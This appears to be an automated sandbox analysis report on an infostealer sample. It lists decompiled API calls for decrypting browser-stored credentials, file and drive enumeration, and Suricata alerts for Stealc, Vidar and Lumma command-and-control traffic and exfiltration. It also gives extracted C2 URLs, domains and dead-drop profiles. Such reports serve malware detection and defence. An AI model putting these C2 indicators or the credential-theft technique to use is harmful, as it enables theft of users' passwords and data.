Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040A7D8 _memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,_memmove,lstrcatA,PK11_FreeSlot,lstrcatA,	3_2_0040A7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C526C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	3_2_6C526C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.169:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.205.129:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.205.129:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.169:443 -> 192.168.2.6:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.6:49741 version: TLS 1.2

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: freebl3.pdb source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3067781475.000000006C7C5000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: freebl3.pdbp source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2665362322.000000006C74F000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: softokn3.pdb@ source: RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: RegAsm.exe, 00000003.00000002.2649143006.0000000038576000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: RegAsm.exe, 00000003.00000002.2640919241.000000002C69B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2665362322.000000006C74F000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000003.00000002.2622122875.0000000020358000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2603031796.000000001A3EA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.2881426007.000000002264B000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2787844428.00000000228AB000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3067781475.000000006C7C5000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: softokn3.pdb source: RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041543D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	3_2_0041543D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00414CC8 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,strtok_s,FindNextFileA,FindClose,	3_2_00414CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	3_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	3_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00415FD1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	3_2_00415FD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00415B0B GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	3_2_00415B0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	3_2_0040CD37

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

3_2_00415142

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]	3_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax	3_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	10_2_0040F242
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-28h]	10_2_0040F242
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [ecx+eax]	10_2_0040F940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_0040F940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	10_2_004109FD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 2EE0190Fh	10_2_00446C3F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 68677325h	10_2_00446C3F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_00446C3F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	10_2_0040ED69
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then lea edx, dword ptr [eax+edi]	10_2_0040FEA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	10_2_0040FEA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, ebp	10_2_00422063
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+7Ch]	10_2_00434060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ecx], al	10_2_00434060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	10_2_00407070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+44h]	10_2_0044716D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 77A9E0C4h	10_2_00440118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+44h]	10_2_0044711B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+7Ch]	10_2_00434136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ecx], al	10_2_00434136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+10h]	10_2_0042A1F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_0041518E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 54CA534Eh	10_2_00448190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+000004F0h]	10_2_00433240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	10_2_00433240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	10_2_00433240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	10_2_00433240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+000001B8h]	10_2_0041325D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	10_2_00422260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	10_2_004492C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_00425320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	10_2_0041B330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, eax	10_2_0040A3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebp, eax	10_2_0040A3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	10_2_00448390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edi, ebx	10_2_00430399
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	10_2_00449410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 1B788DCFh	10_2_00444480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	10_2_004354A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [esi], ax	10_2_0041F552
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000110h]	10_2_0041F552
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 0633C81Dh	10_2_00445580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 77A9E0C4h	10_2_00440580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	10_2_00449580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	10_2_00422673
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h	10_2_0044A610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_004296C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_004446C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	10_2_0042268A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	10_2_00449690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	10_2_004276A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi+25h]	10_2_00408750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, edi	10_2_0042F700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then shrd esi, edx, 00000001h	10_2_00403710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	10_2_00431720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 77DD2217h	10_2_00420729
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then lea eax, dword ptr [ebp+04h]	10_2_004407E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	10_2_00449780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h	10_2_0044A7A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esp+24h], DEC6D8DEh	10_2_00430810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 3BABA5E0h	10_2_00444960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	10_2_00427900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 81105F7Ah	10_2_0044A920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	10_2_00449A40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	10_2_0040DA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, edi	10_2_0042FAA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	10_2_00404B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 0633C81Dh	10_2_00444B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	10_2_00413B7C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+18h]	10_2_0042DB00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [edi+eax]	10_2_0042DB00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp di, 005Ch	10_2_0041FB39
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+68h]	10_2_0041FB39
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	10_2_0043BBB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 0633C81Dh	10_2_00448C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	10_2_00405C20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	10_2_00422C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	10_2_00441D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	10_2_0041DD55
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	10_2_00421DC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	10_2_00421DC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_00414D8D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_0040DE20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	10_2_0042CEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov esi, eax	10_2_00431ED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edi, word ptr [esi]	10_2_00429EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	10_2_00421DC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	10_2_00421DC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	10_2_00428FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	10_2_00428FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+000005A8h]	10_2_00420F8A

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.6:49721 -> 5.42.101.62:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 5.42.101.62:80 -> 192.168.2.6:49721
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 5.42.101.62:80 -> 192.168.2.6:49721
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49727 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2054495 - Severity 1 - ET MALWARE Vidar Stealer Form Exfil : 192.168.2.6:49728 -> 45.132.206.251:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49727 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 46.8.231.109:80 -> 192.168.2.6:49727
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49727 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 46.8.231.109:80 -> 192.168.2.6:49727
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49727 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 5.42.101.62:80 -> 192.168.2.6:49736
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 5.42.101.62:80 -> 192.168.2.6:49736
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 5.42.101.62:80 -> 192.168.2.6:49742
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 5.42.101.62:80 -> 192.168.2.6:49742
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49726 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49726 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49724 -> 104.21.1.169:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49724 -> 104.21.1.169:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49740 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49740 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49735 -> 172.67.205.129:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49735 -> 172.67.205.129:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49737 -> 172.67.205.129:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49737 -> 172.67.205.129:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49738 -> 104.21.1.169:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49738 -> 104.21.1.169:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://46.8.231.109/c4754d4f680ead72.php
Source: Malware configuration extractor	URLs: delaylacedmn.site
Source: Malware configuration extractor	URLs: possiwreeste.site
Source: Malware configuration extractor	URLs: writekdmsnu.site
Source: Malware configuration extractor	URLs: agentyanlark.site
Source: Malware configuration extractor	URLs: underlinemdsj.site
Source: Malware configuration extractor	URLs: commandejorsk.site
Source: Malware configuration extractor	URLs: famikyjdiag.site
Source: Malware configuration extractor	URLs: bellykmrebk.site
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199780418869
Source: Malware configuration extractor	URLs: https://t.me/jamsemlg

